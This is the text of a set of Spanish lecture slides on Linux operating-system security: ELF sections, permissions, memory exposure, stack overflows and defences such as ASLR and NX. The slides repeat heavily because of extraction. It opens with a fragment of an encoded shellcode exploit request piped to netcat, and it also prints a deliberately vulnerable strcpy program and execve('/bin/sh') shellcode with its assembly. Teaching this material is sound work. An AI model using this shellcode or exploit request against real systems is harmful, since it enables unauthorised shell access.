%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1rn
Host: $hostrnrn" | nc $host 80
Source: http://ciberjacobo.com/sec/mod rewrite.html
Jacobo Avariento Seguridad en Sistemas Operativos
6. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
7. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
8. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
9. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
10. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
11. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
12. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Breve repaso al S.O. GNU/Linux
Jacobo Avariento Seguridad en Sistemas Operativos
13. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
14. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
15. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
16. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
17. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
18. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
19. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
20. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
21. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
22. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
23. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Permisos en ficheros
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash
Opciones:
r: read
w: write
x: eXecution
t: sTicky bit
s: Setuid
Jacobo Avariento Seguridad en Sistemas Operativos
24. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Permisos en ficheros
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash
Opciones:
r: read
w: write
x: eXecution
t: sTicky bit
s: Setuid
Jacobo Avariento Seguridad en Sistemas Operativos
25. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Privilegios de ejecuci´on
RUID: “Real User ID“. getuid()
EUID: “Effective User ID“. geteuid()
-rwsr-xr-x 1 root root 31020 4. Okt 2008 /bin/ping
Jacobo Avariento Seguridad en Sistemas Operativos
26. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Espacio de Memoria Virtual de un proceso
Jacobo Avariento Seguridad en Sistemas Operativos
27. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Jacobo Avariento Seguridad en Sistemas Operativos
28. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Disposici´on de la pila (“Stack Layout“)
Jacobo Avariento Seguridad en Sistemas Operativos
29. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Jacobo Avariento Seguridad en Sistemas Operativos
30. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Bloque de activaci´on de la subrutina
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff
call 8048350 <printf@plt>
C´odigo ensamblador (“Callee“)
55 push %ebp
89 e5 mov %esp,%ebp
83 ec 04 sub $0x4,%esp
Jacobo Avariento Seguridad en Sistemas Operativos
31. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Bloque de activaci´on de la subrutina
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff
call 8048350 <printf@plt>
C´odigo ensamblador (“Callee“)
55 push %ebp
89 e5 mov %esp,%ebp
83 ec 04 sub $0x4,%esp
Jacobo Avariento Seguridad en Sistemas Operativos
32. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Devolviendo el control al programa...
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff call 8048350 <printf@plt>
c9 leave
c3 ret
Jacobo Avariento Seguridad en Sistemas Operativos
33. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Ataques a ficheros ejecutables
Jacobo Avariento Seguridad en Sistemas Operativos
34. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Interceptando llamadas al sistema
ltrace
Intercepta llamadas a librer´ıas din´amicas ejecutadas por el
proceso
$ ltrace -e open ./syscall hijacking
open("/tmp/pass", 0, 026773603300) = -1
+++ exited (status 0) +++
strace
Intercepta llamadas del sistema y se˜nales de un proceso
$ strace -e trace=open ./syscall hijacking
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libc.so.6", O_RDONLY) = 3
open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory)
Jacobo Avariento Seguridad en Sistemas Operativos
35. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Interceptando llamadas al sistema
ltrace
Intercepta llamadas a librer´ıas din´amicas ejecutadas por el
proceso
$ ltrace -e open ./syscall hijacking
open("/tmp/pass", 0, 026773603300) = -1
+++ exited (status 0) +++
strace
Intercepta llamadas del sistema y se˜nales de un proceso
$ strace -e trace=open ./syscall hijacking
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libc.so.6", O_RDONLY) = 3
open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory)
Jacobo Avariento Seguridad en Sistemas Operativos
36. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
37. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
38. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
39. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Ejemplo (Fichero get pass.c)
char pass[]= "XXXXXXX";
int main () {
exit(0);
}
Ataque
$ strings ./get pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__libc_start_main
GLIBC_2.0
PTRh
[^_]
password ultra secreto
Jacobo Avariento Seguridad en Sistemas Operativos
40. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Ejemplo (Fichero get pass.c)
char pass[]= "XXXXXXX";
int main () {
exit(0);
}
Ataque
$ strings ./get pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__libc_start_main
GLIBC_2.0
PTRh
[^_]
password ultra secreto
Jacobo Avariento Seguridad en Sistemas Operativos
41. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
42. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
43. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
44. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
45. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Desbordamientos de pila
”Stack Overflow“
Jacobo Avariento Seguridad en Sistemas Operativos
46. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Programa vulnerable
Fichero bufo2.c
void func(char *nom) {
char nombre[128];
strcpy(nombre, nom);
printf("Hola %sn", nombre);
printf("%Xn", &nombre);
}
int main(int argc, char* argv[]) {
func(argv[1]);
exit(0);
}
Demo
$ ./bufo2 $(perl -e ”print ’A’ x 8196”)
Segmentation fault (core dumped)
Jacobo Avariento Seguridad en Sistemas Operativos
47. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Programa vulnerable
Fichero bufo2.c
void func(char *nom) {
char nombre[128];
strcpy(nombre, nom);
printf("Hola %sn", nombre);
printf("%Xn", &nombre);
}
int main(int argc, char* argv[]) {
func(argv[1]);
exit(0);
}
Demo
$ ./bufo2 $(perl -e ”print ’A’ x 8196”)
Segmentation fault (core dumped)
Jacobo Avariento Seguridad en Sistemas Operativos
48. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Por qu´e da ”Segmentation Fault”?
Jacobo Avariento Seguridad en Sistemas Operativos
49. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte I: Aprovecharse de la vulnerabilidad
Jacobo Avariento Seguridad en Sistemas Operativos
50. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
51. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
52. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
53. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
/* shell sh spawner without placeholders by jack */
char shellcode2[] =
"xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0c"
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxff"
"xffx2fx62x69x6ex2fx73x68";
Jacobo Avariento Seguridad en Sistemas Operativos
54. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
; nasm -f elf execve2.asm
; execve(const char *path, char *const argv[], char *const envp[]);
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax,eax
mov byte [esi + 7], al ; J = 0x0
lea ebx, [esi] ; ebx = &’/bin/sh’
mov long [esi + 8], ebx ; AAAA = dir de /bin/sh
mov long [esi + 12], eax ; KKKK = 0x0000
mov byte al, 0x0b ; sys_execve syscall #11
mov ebx, esi ; argv1
lea ecx, [esi + 8] ; argv2
lea edx, [esi + 12] ; argv3
int 0x80
GotoCall:
call shellcode
db ’/bin/shJAAAAKKKK’
Jacobo Avariento Seguridad en Sistemas Operativos
55. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
56. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
57. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
58. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
59. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
